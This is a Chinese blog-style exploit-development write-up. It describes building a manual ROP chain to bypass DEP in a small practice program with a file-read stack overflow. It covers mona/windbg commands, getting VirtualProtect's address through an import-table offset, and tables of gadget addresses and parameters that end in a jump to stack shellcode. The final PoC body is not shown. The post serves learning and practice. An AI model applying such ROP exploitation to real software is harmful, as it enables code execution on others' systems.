ROP的第一次实战

1. ROP 介绍
介绍ROP之前,也先介绍下DEP
ROP,Retrun-oriented Programmming(面向返回的编程),是一种可绕过DEP的方法。技术原理就是通过构造特定的溢出内容,使程序通过RET指令跳转到构造的内容去执行相应的指令,而构造的内容则是程序自身模块中的代码段的地址,这样程序去执行时则不会触发DEP。一般构造的ROP链是构造VirtualProtect函数去把栈空间修改为可读可写可执行,然后再跳转到栈空间去执行ShellCode。
ROP的原理大概懂了,但一直没有机会进行实践,某一天,@老刘发来一个程序,说程序存在溢出漏洞,叫找到溢出点并利用,于是开整!
2. 寻找程序溢出点,尝试利用
2.1 程序分析
首先分析程序,看看程序做了什么。从下面可以看到,该程序就是简单的读取文件内容并输出,很简单的一个小程序。在这种程序中,存在很明显的栈溢出。首先读取文件时先获取了文件大小,然后根据大小读取了文件内容并存放在栈空间,但栈空间空间不够大,只要构造足够大的文件,这个程序必然会崩溃,发生溢出。
2.2 构造文件,使其溢出
2.3 寻找 JMP ESP,尝试利用
这里只是先尝试是否可利用,所以我这里在kernel32.dll中随便找了个JMP ESP的指令地址0x767CF7F7,然后构造文件并尝试利用
DEP,需要通过ROP绕过才行。
3.寻找未开启 ASLR 的模块
在构造ROP链之前,需要从程序的加载模块中找到未开启ASLR(随机基址)的模块,这样才能保证exp的通用性。
使用Mona查找未开启随机基址的模块
1 2 3 4> # windbg命令 > .load pykd.pyd # 加载python > !py mona # 执行mona,这里是为了下载符号 > !py mona noaslr # 查找未开启aslr的模块可以看到未开启随机基址的模块只有一个,那就是程序本身,那么接下来的
ROP链只能在程序本模块找了这里可以在Mona里尝试自动查找
ROP链:1 2> # windbg命令 > !py mona rop可以看到通过Mona查找是找不到完整的
ROP链的,还是得自己手动查找
4. 构造 ROP 链的思路
我这里的思路还是构造VirtualProtect,修改栈空间的内存属性,然后跳转到栈空间执行ShellCode。
4.1 寻找 VirtualProtect 的地址
首先需要找到能获取VirtualProtect地址的方法,因为VirtualProtect是kernel32.dll中的地址,而kernel32.dll又是开启随机基址的,所以VirtualProtect的地址肯定不能写成硬编码。
思路1:通过本程序的导入表获取
VirtualProtect的地址,因为本程序的没有随机基址的,只要导入表中有VirtualProtect的地址,那么就将此IAT的地址写成硬编码就能获取VirtualProtect的地址,那么先找到程序的导入表看看: 天公不作美,可以看到导入表中并没有导入
程序导入表 VirtualProtect,需要另想办法。思路2:通过程序代码段中的
mov xxx,fs:[0x30]这种指令,获取kernel32.dll的首地址,然后通过偏移获取VirtualProtect的地址: 这个就更没有了,整个程序中也就只有上图中两种对
FS寄存器 FS寄存器操作的指令,所以这条路也不行了。思路3:经过 @梦轩老哥的提醒,找到这样一种方法:
- 首先获取导入表中
kernel32.dll的其他API地址,求出VirtualProtect地址距离这个API地址的偏移 - 然后在程序中找到
相加或相减的指令地址,将其构造成ROP链,这样就能获取到VirtualProtect的地址了 - 例如下图这样:

通过偏移获取地址
这个思路的确能很准确的获取到
VirtualProtect的地址,但仅限于当前测试的系统版本上。因为其他版本的操作系统kernel32.dll中的函数地址偏移会发生改变,那么这种方式也就失效了。不过至少在这个版本的操作系统上,这种方式是通杀的,所以这里就采用这种方式获取VirtualProtect的地址。- 首先获取导入表中
4.2 VirtualProtect 的参数
执行VirtualProtect,需要传递参数。VirtualProtect的原型是这样的:
| |
在这里参数2和参数3可以确定,而参数1和参数4则需要填写栈的地址,如果程序开启了随机基址,则不能写成硬编码,需要动态获取。当然这里程序没有随机基址,那么这两个参数可以随意找一个栈地址,写成硬编码就行了。
4.3 JMP 指令
执行VirtualProtect之后,需要跳转到存放ShellCode的栈地址去执行,所以执行VirtualProtect代码的位置后面必须有JMP xxx或RET等这样的指令,这样才能跳转过去。而这个栈地址因为模块未开启随机基址的原因,所以可以测试之后将这个地址写成硬编码。
5. 尝试构造 ROP 链
这里采用上面的思路3构造ROP链,大概分为以下几步:
- 获取
VirtualProtect地址 - 构造
VirtualProtect参数 - 调用
VirtualProtect - 跳转到
ShellCode地址并执行
5.1 相关问题分析
首先需要构造一个存放API地址的导入表地址,该API必须与VirtualProtect同处于一个模块,也就是kernel32模块。
我这里使用导入表中第一个API地址,从前面的图中可以看到,当前程序的导入表第一个API为kernel32.IsDebuggerPresent函数,那么需要构造的是存放这个函数的导入表地址,也就是0x402000,而不是函数的实际地址0x7675B02B。
kernel32模块肯定是开启了随机基址的,每台机器的同一个函数的实际地址都不一致,如何获取到函数的实际地址,那就只能通过导入表来获取,这也是导入表存在的意义。要是能直接构造,那直接构造VirtualProtect的地址就完事了,何必还要费这么大功夫。构造之前,需要考虑两个问题:
使用哪个寄存器?
这里使用哪个寄存器都行,只要能精准控制寄存器就可以,但是必须要保证能通过这个寄存器取到所在内存的值才行。因为如果这里使用
EAX,那么后面取API地址的时候必然会用到MOV xxx,[EAX]这样的指令,但可能程序中不存在这样的指令,所以就需要多次测试,找到可用的寄存器。如何得到
VirtualProtect的地址?这里使用偏移来得到
VirtualProtect的地址,那么就得使用相加或相减的语句。当然如果刚好程序中有相关的语句最好,但是大部分都没有这么好的事。例如kernel32.IsDebuggerPresent函数距离VirtualProtect函数为0x50,但就是没有ADD EAX,0x50这样的语句存在,那么就需要改变思路,用多条语句相加减实现。上面两个问题的举例语句:
1 2 3 4 5 6 7 8 9 10 11; 寄存器取值 MOV ECX, [EAX + 8] MOV ECX, [EBP - 8] ; 多条语句相加减 ADD EAX,EDX ADD EAX, 0x10 SUB EAX, EDX SUB EAX, 0x10 INC EAX DEC EAX
5.2 获取 VirtualProtect 地址
- 给
EAX赋值,需要与后面匹配
| ROP值 | 说明 |
|---|---|
| 7F154000 | 溢出后跳转的第一个地址,给EAX赋值 |
| F81F4000 | 给EAX赋的值 |
| 00000000 | 填充物 |
| |
- 给
EDI和ESI赋值,后面会用到
| ROP值 | 说明 |
|---|---|
| 84164000 | 第二个RET地址,赋值偏移给ESI |
| 00000000 | 给EDI赋值为0,后面会比较EDI |
| 80A0FFFF | 给ESI赋值,将ESI设置为一个负数偏移,后面通过加法获取到VirtualProtect的地址(这个偏移是计算得来的) |
| |
- 通过
EAX获取导入表中函数的地址,因为没有MOV xxx,[EAX]这样的指令,这里使用的是mov ecx, dword ptr [eax + 8]
| ROP值 | 说明 |
|---|---|
| 9B134000 | 第三个RET地址,获取 VirtualProtect 地址 |
| 00000000 | 填充物 |
| 00000000 | 填充物 |
| 00000000 | 填充物 |
| 00000000 | 填充物 |
| |
这里的ESI为偏移,而这个偏移需要根据选择的函数和系统的不同而改变的
5.3 转换 ECX 到 EAX
通过上面的方法,ECX已经为VirtualProtect的地址了,但这里没有CALL ECX这样的指令,所以还需要将ECX转换到其他寄存器上去。因为这里有CALL EAX,所以我这里选择的是MOV EAX, ECX
| ROP值 | 说明 |
|---|---|
| 59144000 | 第四个RET地址,将 VirtualProtect 地址赋值给EAX |
| |
5.3 处理后续
现在EAX已经是VirtualProtect的地址了,已经可以CALL EAX了。但这里寻找的CALL EAX指令执行后还执行了其他的指令,会影响RET的位置,所以需要将后续处理好
| ROP值 | 说明 |
|---|---|
| 84164000 | 第五个RET地址,处理后续 |
| 00000000 | 给EDI赋值为0 |
| 00000000 | 给ESI赋值为0 |
| |
5.5 执行 VirtualProtect
开始执行VirtualProtect,需要传递参数,所以构造的内容还包括参数
| ROP值 | 说明 |
|---|---|
| 7B164000 | 第六个RET地址,执行 VirtualProtect |
| FCFF1200 | VirtualProtect参数1:当前栈地址 |
| 01000000 | VirtualProtect参数2:大小 |
| 40000000 | VirtualProtect参数3:修改的属性 |
| FCFF1200 | VirtualProtect参数4:随意的栈地址 |
| 00000000 | 填充物 |
| 00000000 | 填充物 |
| |
这里需要说明一点的是,VirtualProtect的参数问题,参数1和参数4需要根据自己系统上的栈空间来构造
5.6 跳转到栈空间
执行了VirtualProtect之后,就需要跳转到栈空间去执行ShellCode了,构造了这个栈地址之后ROP链也就到这就结束了,其余的就是ShellCode了。而这个栈空间地址也需要根据自己构造的ROP链和系统来决定
| ROP值 | 说明 |
|---|---|
| A8FF1200 | 最后一个RET地址,执行ShellCode的地址 |
6. 最终的 Poc
| |
7. 执行效果
这个Poc在当前系统版本上是通杀的,无论重启还是怎么样,都能实现精准溢出并执行
8. END
这次实验,是把以前看过ROP资料给实际运用起来了,而且是手动寻找的ROP链,算是理论+实践结合了,收获很大。
这次实践中,还是遇到了老问题,思路不够开阔。获取VirtualProtect地址时,当没有导入表和FS寄存器的时候,我的确找不到其他办法突破了,要是没有 @梦轩老哥 的帮助,可能也构造不出版本通杀的Poc,非常感谢 @梦轩老哥 的帮助。







